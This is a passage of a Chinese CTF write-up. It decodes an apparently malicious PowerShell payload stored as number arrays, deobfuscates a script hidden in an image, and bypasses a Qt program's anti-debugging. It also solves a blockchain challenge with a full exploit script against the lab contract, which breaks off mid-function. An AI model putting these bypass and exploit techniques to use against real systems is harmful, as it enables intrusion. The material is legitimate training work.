105 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658,
106 702, 699, 702, 655, 699, 699, 698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702,
107 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
108 703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654, 699,
109 700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655,
110 703, 655, 657, 703, 699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702,
111 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654,
112 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702,
113 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654,
114 702, 651, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698,
115 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 657, 701,
116 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702,
117 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653,
118 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702,
119 700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654,
120 702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642,
121 633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712,
122 711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696,
123 647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633,
124 640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640,
125 640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706,
126 711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699,
127 716, 717, 715, 706, 711, 704, 641, 652, 642
128]
129
130# --- 执行解码并打印结果 ---
131
132decoded_object_name = decode_string_from_numbers(array_for_object)
133decoded_payload_command = decode_string_from_numbers(array_for_payload)
134
135print("--- 解码结果 ---")
136print("\n[+] 解码后的ActiveX对象名称:")
137print(decoded_object_name)
138
139print("\n[!] 解码后的恶意Payload (PowerShell命令):")
140print(decoded_payload_command)
141print("\n--- 分析结束 ---")又得到一串powershell代码,里面有串加密的hex值,再给ai去处理一下

解出来有个图片,访问一下下载下来,010看看

发现是被处理过的powershell代码

丢给gemini让他写个分析的脚本
1import re
2
3
4def parse_obfuscated_ps1(file_path):
5 """
6 解析经过混淆的 PowerShell 脚本文件,并提取其隐藏的真实代码。
7
8 参数:
9 file_path (str): s.ps1 文件的路径。
10
11 返回:
12 str: 解码后的 PowerShell 脚本内容,如果解析失败则返回错误信息。
13 """
14 try:
15 with open(file_path, 'r', encoding='utf-8') as f:
16 content = f.read()
17 except Exception as e:
18 return f"错误:无法读取文件 {file_path}。原因: {e}"
19
20 # 1. 根据脚本逻辑,定义从变量名到对应数字(字符串形式)的映射
21 # 这些值是通过分析 s.ps1 文件第一部分的变量赋值得到的
22 # $u=0, $b=1, $q=2, $z=3, $o=4, $d=5, $h=6, $e=7, $i=8, $l=9, $x=6
23 var_map = {
24 'u': '0', 'b': '1', 'q': '2', 'z': '3', 'o': '4',
25 'd': '5', 'h': '6', 'e': '7', 'i': '8', 'x': '6', 'l': '9'
26 }
27
28 # 2. 从完整脚本中定位并提取核心载荷部分
29 # 载荷是以 "$g" 开头,由 "+" 连接的大量字符串
30 match = re.search(r'\(\$g(.+)\)', content, re.DOTALL)
31 if not match:
32 return "错误:未能在文件中找到预期的混淆载荷格式。"
33
34 payload = match.group(1)
35
36 # 3. 移除加号,并按 "$g" 分割成代表各个字符编码的块
37 payload = payload.replace('+', '')
38 char_code_chunks = payload.split('$g')
39
40 # 4. 解码每个块
41 decoded_script = ""
42 # 第一个块是空的,从第二个开始遍历
43 for chunk in char_code_chunks:
44 if not chunk:
45 continue
46
47 num_str = ""
48 # 将块中的每个字符变量替换为其对应的数字
49 for char_var in chunk:
50 num_str += var_map.get(char_var, '')
51
52 if num_str:
53 try:
54 # 将数字字符串转换为整数,再通过 chr() 转换为对应的 ASCII 字符
55 char_code = int(num_str)
56 decoded_script += chr(char_code)
57 except (ValueError, OverflowError):
58 # 如果转换失败,则忽略这个块
59 pass
60
61 return decoded_script
62
63
64# --- 使用示例 ---
65# 请将 's.ps1' 替换为您文件的实际路径
66file_to_parse = 's.ps1'
67deobfuscated_code = parse_obfuscated_ps1(file_to_parse)
68
69print("--- 解码后的 PowerShell 脚本 ---")
70print(deobfuscated_code)解出来就有了

obfusheader.h
知识点省流
动调跟踪数据流
WP
先去花
然后开始分析,搜索字符串找到输入的地方

定位到函数中,打上硬件断点,开始调试

简单测试一下可以知道输入长度是40,0x28


往下走,这里计算了字符串长度

接着往下走,这里函数进行了异或

接着往下走,提取密文

然后拿厨子跟我们输入的a解异或得到异或的key

接着调试,往下走,这里函数执行了一波高低位互换取反

接着走,直到程序输出加密完成,这里就是我们要的密文

提出密文,搓脚本还原,将前面的高低位互换取反逆向回去就好
1enc = [0x5C,0xAF,0xB0,0x1C,0xFC,0xEF,0xC7,0x8D,0x03,0xCF,0x00,0x39,0x41,0xBE,0x47,0x2D,0x1C,0x48,0xFD,0xFA,0x7F,0x0F,0xD0,0xFA,0xFA,0x68,0x83,0xFD,0x73,0xA8,0x06,0x1E,0xCC,0x7B,0x42,0xAC,0x67,0xBB,0xDD,0x1B]
2
3def decode_byte(b):
4 b = ~b & 0xFF # 取反并确保保持8位
5 return ((b >> 4) | (b << 4)) & 0xFF # 高低4位交换
6
7result = [decode_byte(b) for b in enc]
8print(result)最后在厨子那再处理一下,然后用前面的key去异或即可得到flag

Qt_Creator
知识点省流
qt程序逆向
WP
简单的qt逆向
装好之后拿ida分析,发现调试就退出 应该是有反调试
字符串搜索找到debugger,定位到exit的部分,将他force jump一下就能绕过反调试

进程序里走一下流程,发现注册码错了之后会直接退出程序,所以我们可以直接定位exit的函数调用的位置,去确定注册码判定的函数在哪里 简单找一下就能确定这里是关键函数,其中进行了字符串的比对判断

在v23处打断点后动调,输入内容并确认后,跳转到v23对应的地址,然后数据类型转换

双击进入即可看到下面的flag

Misc
v我50(R)MB
知识点省流
奇妙的用户侧数据泄露(?)
WP
根据题目的意思就是留了张原图没删干净,可以在用户侧获取,那么考虑的就是前端url、network是否有多余的请求、有没有本地缓存什么的
看了看都不行
遂抓包,抓那个图片的链接
一抓发现抓到的就是完整的图,导出来就行(很神奇不知道什么原理)
提前放出附件
知识点省流
压缩包明文攻击-tar变种
WP
给了个store存储的加密zip
明文攻击,里面是个tar,010分析一下发现有很多0,直接拿0来做明文,秒了

PNG Master
知识点省流
png考点小串烧
WP
给了png
lsb藏了一段flag
010图片末尾藏了一段flag
最后的idat块提取出来zlib解压得到一个压缩包,里面两个文档
其中一个里面有零宽字节,解出来提示是文件名xor
拿secret跟里面的内容异或得到第三段flag
Blockchain
生蚝的宝藏
知识点省流
有点小套的区块链源码反汇编解密
WP
没有给代码,只有靶机,连接后选项1创建账号,2生成合约
梭个脚本去读取合约中的字节码
1import requests
2import json
3
4RPC_URL = "http://106.15.138.99:8545/"
5TX_HASH = "0xc73e1c61aecf5846967e7b5c5b247368ee8e10f6e983909ed49c8c595d46678f"
6CONTRACT_ADDR = "0xb060167a0935147ec47d42c063D598F9D1bdd930"
7TOKEN = "v4.local.bNTzLDPFWah18XcBPIxDtYcu28miMffUqUrVOLqJLbcm8fI_K_fUIGHArL-GDxoOK7UryKCbrBtV0AC5gW1RfEdvJLhSoPfKBEA9s7mQyzf7TLRoEC0hGsb4b9aI4zijrGjP1x27o4c-7oceSmbWtGUWj1oZtKkIjpupz49RZ0OjOw.T3lzdGVyVHJlYXN1cmU"
8
9headers = {"Authorization": f"Bearer {TOKEN}"}
10
11# Slot 0
12payload_storage = {
13 "jsonrpc": "2.0",
14 "method": "eth_getStorageAt",
15 "params": [CONTRACT_ADDR, "0x0", "latest"],
16 "id": 1
17}
18slot_0 = requests.post(RPC_URL, json=payload_storage).json().get('result')
19print("Slot 0:", slot_0)
20
21
22def get_tx():
23 payload = {
24 "jsonrpc": "2.0",
25 "method": "eth_getTransactionByHash",
26 "params": [TX_HASH],
27 "id": 1
28 }
29 try:
30 print("尝试请求交易信息...")
31 resp = requests.post(RPC_URL, json=payload, headers=headers, timeout=10).json()
32 data = resp.get('result')
33 if data is None:
34 print("无返回内容:", json.dumps(resp, indent=2))
35 else:
36 # 打印 json 格式内容
37 print(json.dumps(data, indent=2) if not isinstance(data, str) else data)
38 return data
39 except Exception as e:
40 print("请求失败:", e)
41
42
43tx_content = get_tx()得到一串input数据,看开头6080确定是合约字节码,同时丢给厨子解一下

得到半个flag说是(同时这串flag的hex值正好是46位,这是伏笔)

反汇编一下合约字节码 https://app.dedaub.com/decompile
上面input的内容给的是字节码,用反编译网站反编译一下得到了伪代码
1// Decompiled by library.dedaub.com
2// 2025.08.15 13:23 UTC
3// Compiled using the solidity compiler version 0.8.9
4
5// Data structures and variables inferred from the use of storage instructions
6uint256[] ___function_selector__; // STORAGE[0x0]
7bool stor_1_0_0; // STORAGE[0x1] bytes 0 to 0
8
9// Note: The function selector is not present in the original solidity code.
10// However, we display it for the sake of completeness.
11
12function __function_selector__() public payable {
13 MEM[64] = 128;
14 require(!msg.value);
15 MEM[MEM[64]:MEM[64] + this.code.size - 2032] = this.code[2032:2032 + this.code.size - 2032];
16 MEM[64] = MEM[64] + (this.code.size - 2032);
17 require(MEM[64] + (this.code.size - 2032) - MEM[64] >= 32);
18 require(MEM[MEM[64]] <= uint64.max);
19 require(MEM[64] + MEM[MEM[64]] + 31 < MEM[64] + (this.code.size - 2032));
20 v0 = MEM[MEM[64] + MEM[MEM[64]]];
21 require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
22 require(!((MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < MEM[64]) | (MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
23 MEM[64] = MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0);
24 require(MEM[64] + MEM[MEM[64]] + v0 + 32 <= MEM[64] + (this.code.size - 2032));
25 v1 = v2 = 0;
26 while (v1 < v0) {
27 MEM[32 + (v1 + MEM[64])] = MEM[32 + (v1 + (MEM[64] + MEM[MEM[64]]))];
28 v1 += 32;
29 }
30 if (v1 > v0) {
31 MEM[MEM[64] + v0 + 32] = 0;
32 }
33 require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
34 v3 = new bytes[](v0);
35 if (v0) {
36 CALLDATACOPY(v3.data, msg.data.length, v0);
37 }
38 v4 = v5 = 0;
39 while (v4 < v0) {
40 require(v6.length, Panic(18)); // division by zero
41 require(v4 % v6.length < v6.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
42 require(v4 < v0, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
43 require(v4 < v3.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
44 MEM8[32 + v4 + v3] = (byte(bytes1((MEM[32 + v4 + MEM[64]] >> 248 << 248 >> 248 ^ v6[v4 % v6.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
45 require(v4 != uint256.max, Panic(17)); // arithmetic overflow or underflow
46 v4 += 1;
47 }
48 v7 = v8 = v3.data;
49 v9 = v10 = ___function_selector__.length >> 1;
50 if (!(___function_selector__.length & 0x1)) {
51 v9 = v11 = v10 & 0x7f;
52 }
53 require(___function_selector__.length & 0x1 != v9 < 32, Panic(34)); // access to incorrectly encoded storage byte array
54 v12 = v13 = ___function_selector__.data;
55 if (v3.length) {
56 if (31 < v3.length) {
57 ___function_selector__.length = 1 + (v3.length + v3.length);
58 if (v3.length) {
59 while (v8 + v3.length > v7) {
60 STORAGE[v12] = MEM[v7];
61 v7 += 32;
62 v12 += 1;
63 }
64 }
65 } else {
66 ___function_selector__.length = v3.length + v3.length | bytes31(MEM[v8]);
67 }
68 } else {
69 ___function_selector__.length = 0;
70 }
71 while (v13 + (31 + v9 >> 5) > v12) {
72 STORAGE[v12] = 0;
73 v12 += 1;
74 }
75 stor_1_0_0 = 0;
76 MEM[0:1113] = 0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9b9b9a1c1b331ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea26469706673582212200a7575430b832102af3c40db1c12a0d56fa049f68938ec701ae34a9d6e24662b64736f6c63430008090033;
77 return MEM[0:1113];
78}上面的代码中还有一层字节码,接着反汇编,得到下面最关键的部分
1// Decompiled by library.dedaub.com
2// 2025.08.15 16:53 UTC
3// Compiled using the solidity compiler version 0.8.9
4
5// Data structures and variables inferred from the use of storage instructions
6uint256[] array_0; // STORAGE[0x0]
7bool _isSolved; // STORAGE[0x1] bytes 0 to 0
8
9function fallback() public payable {
10 revert();
11}
12
13function 0x5cc4d812(bytes varg0) public payable {
14 require(msg.data.length - 4 >= 32);
15 require(varg0 <= uint64.max);
16 require(4 + varg0 + 31 < msg.data.length);
17 require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
18 v0 = new bytes[](varg0.length);
19 require(!((v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0) | (v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
20 require(4 + varg0 + varg0.length + 32 <= msg.data.length);
21 CALLDATACOPY(v0.data, varg0.data, varg0.length);
22 v0[varg0.length] = 0;
23 require(v0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
24 v1 = new bytes[](v0.length);
25 if (v0.length) {
26 CALLDATACOPY(v1.data, msg.data.length, v0.length);
27 }
28 v2 = v3 = 0;
29 while (v2 < v0.length) {
30 require(v4.length, Panic(18)); // division by zero
31 require(v2 % v4.length < v4.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
32 require(v2 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
33 require(v2 < v1.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
34 MEM8[32 + v2 + v1] = (byte(bytes1((v0[v2] >> 248 << 248 >> 248 ^ v4[v2 % v4.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
35 require(v2 != uint256.max, Panic(17)); // arithmetic overflow or underflow
36 v2 += 1;
37 }
38 v5 = new uint256[](v1.length + v5.data - MEM[64] - 32);
39 v6 = v7 = 0;
40 while (v6 < v1.length) {
41 MEM[v6 + v5.data] = v1[v6];
42 v6 += 32;
43 }
44 if (v6 > v1.length) {
45 MEM[v5.data + v1.length] = 0;
46 }
47 MEM[64] = v1.length + v5.data;
48 v8 = v5.length;
49 v9 = v5.data;
50 v10 = new uint256[](v11 - MEM[64] - 32);
51 v11 = v12 = 0;
52 v13 = v14 = array_0.length >> 1;
53 if (!(array_0.length & 0x1)) {
54 v13 = v15 = v14 & 0x7f;
55 }
56 require(array_0.length & 0x1 != v13 < 32, Panic(34)); // access to incorrectly encoded storage byte array
57 if (!(array_0.length & 0x1)) {
58 MEM[v10.data] = bytes31(array_0.length);
59 v11 = v16 = v10.data + v13;
60 } else if (array_0.length & 0x1 == 1) {
61 v17 = v18 = array_0.data;
62 v19 = v20 = 0;
63 while (v19 < v13) {
64 MEM[v19 + v10.data] = STORAGE[v17];
65 v17 += 1;
66 v19 += 32;
67 }
68 v11 = v21 = v10.data + v13;
69 }
70 v22 = v10.length;
71 v23 = v10.data;
72 require(keccak256(v10) == keccak256(v5), Error('Wrong Treasure'));
73 _isSolved = 1;
74}
75
76function isSolved() public payable {
77 return _isSolved;
78}
79
80// Note: The function selector is not present in the original solidity code.
81// However, we display it for the sake of completeness.
82
83function __function_selector__( function_selector) public payable {
84 MEM[64] = 128;
85 require(!msg.value);
86 if (msg.data.length >= 4) {
87 if (0x5cc4d812 == function_selector >> 224) {
88 0x5cc4d812();
89 } else if (0x64d98f6e == function_selector >> 224) {
90 isSolved();
91 }
92 }
93 fallback();
94}经过摸索,大概确定下来就是,我们需要传入一个数据,他跟代码中的某个key异或后,要等于合约中array_0的值,这样issolved就可以变为1了
问题在于key是什么,array_0是可以写脚本输出的,得到了key就可以将需要传入的数据给逆推出来
经过各种尝试和ai拷打都没有结果
后面我注意到两点
一个是array_0的长度是46字节,而前面提到的这个字节码中的hex值也是46字节(对这串hex再转成hex)

太巧了这个,所以我根据伪代码中的异或逻辑,将这两个值异或了,结果没想到居然出了明文

这时候我以为这半串flag的hex的hex值就是key了,结果试了下还是不行
过了会又想到可能真正的key是’key_77486f5f'
试了一下就出了,又被套娃到了
exp如下,需要手动去水龙头那给一下eth,gemini和claude都给出了能提交的脚本,下面这版是claude的
1#!/usre/bin/env python3
2import socket
3import re
4import time
5import requests
6from web3 import Web3
7from eth_account import Account
8from Crypto.Hash import keccak
9import json
10
11# Configuration
12RPC_URL = "http://106.15.138.99:8545/"
13FAUCET_URL = "http://106.15.138.99:8080/"
14NC_HOST = "challenge.xinshi.fun"
15NC_PORT = 44088
16
17
18def connect_nc(host, port):
19 """Connect to NC server"""
20 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
21 s.connect((host, port))
22 return s
23
24
25def send_and_receive(sock, message, timeout=2):
26 """Send message and receive response"""
27 sock.send((message + '\n').encode())
28 time.sleep(timeout)
29 data = b''
30 sock.settimeout(0.5)
31 while True:
32 try:
33 chunk = sock.recv(4096)
34 if not chunk:
35 break
36 data += chunk
37 except socket.timeout:
38 break
39 return data.decode('utf-8', errors='ignore')
40
41
42def create_account():
43 """Step 1: Create account and get token"""
44 print("[*] Creating account...")
45 sock = connect_nc(NC_HOST, NC_PORT)
46
47 # Receive initial message
48 initial = send_and_receive(sock, "", timeout=1)
49 print(initial)
50
51 # Send choice 1
52 response = send_and_receive(sock, "1")
53 print(response)
54
55 # Parse deployer account and token
56 deployer_match = re.search(r'deployer account: (0x[a-fA-F0-9]{40})', response)
57 token_match = re.search(r'token: ([^\s]+)', response)
58
59 if not deployer_match or not token_match:
60 raise Exception("Failed to parse account info")
61
62 deployer_address = deployer_match.group(1)
63 token = token_match.group(1)
64
65 sock.close()
66
67 print(f"[+] Deployer Address: {deployer_address}")
68 print(f"[+] Token: {token}")
69
70 return deployer_address, token
71
72
73def get_faucet(address, token):
74 """Get test ETH from faucet"""
75 print(f"[*] Getting ETH from faucet for {address}...")
76
77 headers = {
78 'Authorization': f'Bearer {token}',
79 'Content-Type': 'application/json'
80 }
81
82 data = {
83 'address': address
84 }
85
86 try:
87 response = requests.post(FAUCET_URL, headers=headers, json=data)
88 print(f"[+] Faucet response: {response.status_code}")
89 if response.status_code == 200:
90 print("[+] Successfully got ETH from faucet")
91 else:
92 print(f"[!] Faucet request may have failed: {response.text}")
93 except Exception as e:
94 print(f"[!] Faucet error: {e}")
95
96 # Wait for transaction to be mined
97 time.sleep(5)
98
99
100def wait_for_eth(address, min_balance=0.001, timeout=200):
101 """Wait for ETH to arrive in account"""
102 print(f"[*] Waiting for ETH in account {address}...")
103 print(f"[*] Minimum balance required: {min_balance} ETH")
104 print(f"[*] Timeout: {timeout} seconds")
105
106 w3 = Web3(Web3.HTTPProvider(RPC_URL))
107 start_time = time.time()
108
109 while time.time() - start_time < timeout:
110 try:
111 balance = w3.eth.get_balance(address)
112 balance_eth = w3.from_wei(balance, 'ether')
113
114 if balance_eth >= min_balance:
115 print(f"[+] Balance found: {balance_eth} ETH")
116 return True
117 else:
118 elapsed = int(time.time() - start_time)
119 print(f"[*] Checking... Current balance: {balance_eth} ETH | Time elapsed: {elapsed}s", end='\r')
120 time.sleep(2)
121 except Exception as e:
122 print(f"[!] Error checking balance: {e}")
123 time.sleep(2)
124
125 print(f"\n[!] Timeout: No sufficient ETH received after {timeout} seconds")
126 return False
127
128
129def deploy_contract(token):
130 """Step 2: Deploy contract"""
131 print("[*] Deploying contract...")
132 sock = connect_nc(NC_HOST, NC_PORT)
133
134 # Receive initial message
135 initial = send_and_receive(sock, "", timeout=1)
136
137 # Send choice 2
138 response = send_and_receive(sock, "2")
139
140 # Send token
141 response = send_and_receive(sock, token, timeout=5)
142 print(response)
143
144 # Parse contract address
145 contract_match = re.search(r'contract address: (0x[a-fA-F0-9]{40})', response)
146 tx_match = re.search(r'transaction hash: (0x[a-fA-F0-9]{64})', response)
147
148 if not contract_match:
149 # Check for error message
150 if "send test ether" in response.lower():
151 print("[!] Insufficient ETH for deployment")
152 raise Exception("Failed to parse contract address")
153
154 contract_address = contract_match.group(1)
155 tx_hash = tx_match.group(1) if tx_match else None
156
157 sock.close()
158
159 print(f"[+] Contract Address: {contract_address}")
160 print(f"[+] Transaction Hash: {tx_hash}")
161
162 return contract_address, tx_hash
163
164
165def solve_challenge(contract_address, deployer_address, token):
166 """Solve the CTF challenge"""
167 print(f"[*] Solving challenge for contract {contract_address}...")
168
169 # Connect to Web3
170 w3 = Web3(Web3.HTTPProvider(RPC_URL))
171
172 # Create a new account for solving (since we don't have the deployer's private key)
173 solver_account = Account.create()
174 solver_address = solver_account.address
175 solver_private_key = solver_account.key.hex()
176
177 print(f"[+] Solver Address: {solver_address}")
178 print(f"[+] Solver Private Key: {solver_private_key}")
179
180 # Get ETH for solver account from faucet
181 print("[*] Getting ETH for solver account...")
182 get_faucet(solver_address, token)
183
184 # Wait for ETH to arrive
185 if not wait_for_eth(solver_address, min_balance=0.001, timeout=160):
186 print("[!] Failed to get ETH for solver account")
187 return False
188
189 # Get the storage value at slot 0 (array_0)
190 print("[*] Reading contract storage...")
191
192 # Read storage slot 0 to get array length and data
193 slot0 = w3.eth.get_storage_at(contract_address, 0)
194 print(f"[+] Storage slot 0: {slot0.hex()}")
195
196 # Parse the array data based on Solidity storage layout
197 array_length_raw = int.from_bytes(slot0, 'big')
198
199 if array_length_raw & 1 == 0:
200 # Short array (length < 32), data is in slot 0
201 array_length = (array_length_raw) >> 1 # Remove the encoding
202 print(f"[+] Short array, length: {array_length}")
203
204 # For short arrays, the length is encoded in the last byte
205 # and the data fills the rest of the slot from the beginning
206 actual_length = slot0[-1] >> 1 # Last byte contains length*2
207 array_data = slot0[:actual_length]
208 print(f"[+] Actual array length from last byte: {actual_length}")
209 print(f"[+] Array data: {array_data.hex()}")
210 else:
211 # Long array (length >= 32)
212 array_length = (array_length_raw - 1) // 2
213 print(f"[+] Long array, length: {array_length}")
214
215 # Calculate storage slot for array data
216 slot_hash = Web3.keccak(b'\x00' * 32)
217
218 # Read array data from storage
219 array_data = b''
220 num_slots = (array_length + 31) // 32
221
222 for i in range(num_slots):
223 slot_index = int.from_bytes(slot_hash, 'big') + i
224 slot_data = w3.eth.get_storage_at(contract_address, slot_index)
225 array_data += slot_data
226
227 array_data = array_data[:array_length]
228 print(f"[+] Array data: {array_data.hex()}")
229
230 # The XOR key from the decompiled code
231 # Looking at the decompiled code: shl(0xa1, 0x35b2bcaf9b9b9a1c1b331ab3)
232 # This is a 13-byte key
233 xor_key = bytes.fromhex('6b65795f3737343836663566') #key_77486f5f的hex值
234
235 print(f"[+] XOR key: {xor_key.hex()}")
236 print(f"[+] Stored array (plaintext): {array_data.hex()}")
237
238 # The contract expects us to send the encrypted data
239 # So we need to XOR the stored plaintext with the key to get the encrypted version
240 encrypted_treasure = bytearray()
241 for i in range(len(array_data)):
242 encrypted_treasure.append(array_data[i] ^ xor_key[i % len(xor_key)])
243
244 print(f"[+] Encrypted treasure to send: {bytes(encrypted_treasure).hex()}")
245
246 # Prepare the function call
247 # Function selector for 0x5cc4d812
248 function_selector = '5cc4d812' # Remove 0x prefix
249
250 # ABI encode the bytes parameter
251 # Format: selector + offset(32 bytes) + length(32 bytes) + data(padded to 32 bytes)
252 offset = (32).to_bytes(32, 'big') # Offset to dynamic data
253 length = len(encrypted_treasure).to_bytes(32, 'big') # Length of bytes
254
255 # Pad data to multiple of 32 bytes
256 padded_data = bytes(encrypted_treasure)
257 if len(padded_data) % 32 != 0:
258 padded_data += b'\x00' * (32 - len(padded_data) % 32)
259
260 # Construct call data
261 call_data = bytes.fromhex(function_selector) + offset + length + padded_data
262
263 print(f"[+] Call data: {call_data.hex()}")
264
265 # Build transaction
266 try:
267 nonce = w3.eth.get_transaction_count(solver_address)
268 gas_price = w3.eth.gas_price
269
270 transaction = {
271 'to': contract_address,
272 'from': solver_address,
273 'data': call_data,
274 'gas': 500000,
275 'gasPrice': gas_price,
276 'nonce': nonce,
277 'chainId': w3.eth.chain_id
278 }
279
280 # Sign and send transaction
281 signed_tx = w3.eth.account.sign_transaction(transaction, solver_private_key)
282
283 # Use the correct attribute name for different versions of eth-account
284 try:
285 raw_tx = signed_tx.rawTransaction
286 except AttributeError:
287 raw_tx = signed_tx.raw_transaction
288
289 tx_hash = w3.eth.send_raw_transaction(raw_tx)
290
291 print(f"[+] Transaction sent: {tx_hash.hex()}")
292
293 # Wait for transaction receipt
294 print("[*] Waiting for transaction to be mined...")
295 receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
296
297 if receipt.status == 1:
298 print("[+] Transaction successful!")
299 print(f"[+] Gas used: {receipt.gasUsed}")
300
301 # Check if isSolved() returns true
302 # Function selector for isSolved(): 0x64d98f6e
303 result = w3.eth.call({
304 'to': contract_address,
305 'data': '0x64d98f6e'
306 })
307
308 is_solved = int.from_bytes(result, 'big') == 1
309 print(f"[+] isSolved() = {is_solved}")
310
311 return is_solved
312 else:
313 print(f"[!] Transaction failed! Status: {receipt.status}")
314 print(f"[!] Gas used: {receipt.gasUsed}")
315
316 # Try to get revert reason
317 try:
318 w3.eth.call(transaction, receipt.blockNumber)
319 except Exception as revert_error:
320 print(f"[!] Revert reason: {revert_error}")
321
322 return False
323
324 except Exception as e:
325 print(f"[!] Transaction error: {e}")
326 import traceback
327 traceback.print_exc()
328 return False
329
330
331def get_flag(token):
332 """Step 3: Get flag"""
333 print("[*] Getting flag...")
334 sock = connect_nc(NC_HOST, NC_PORT)
335
336 # Receive initial message
337 initial = send_and_receive(sock, "", timeout=1)
338
339 # Send choice 3
340 response = send_and_receive(sock, "3")
341
342 # Send token
343 response = send_and_receive(sock, token, timeout=3)
344 print(response)
345
346 sock.close()
347
348 # Parse flag
349 flag_match = re.search(r'(flag\{[^}]+\})', response, re.IGNORECASE)
350 if flag_match:
351 flag = flag_match.group(1)
352 print(f"\n[+] FLAG: {flag}")
353 return flag
354 else:
355 print("[!] Flag not found in response")
356 return None
357
358
359def main():
360 """Main function to run the entire exploit"""
361 print("=" * 60)
362 print("CTF Challenge Solver")
363 print("=" * 60)
364
365 try:
366 # Step 1: Create account and get token
367 deployer_address, token = create_account()
368
369 # Try to get ETH from faucet
370 get_faucet(deployer_address, token)
371
372 # Wait for ETH to arrive (200 seconds timeout, check every 2 seconds)
373 print("\n[*] Waiting for ETH to arrive in deployer account...")
374 print("[*] You can manually send ETH or wait for faucet...")
375
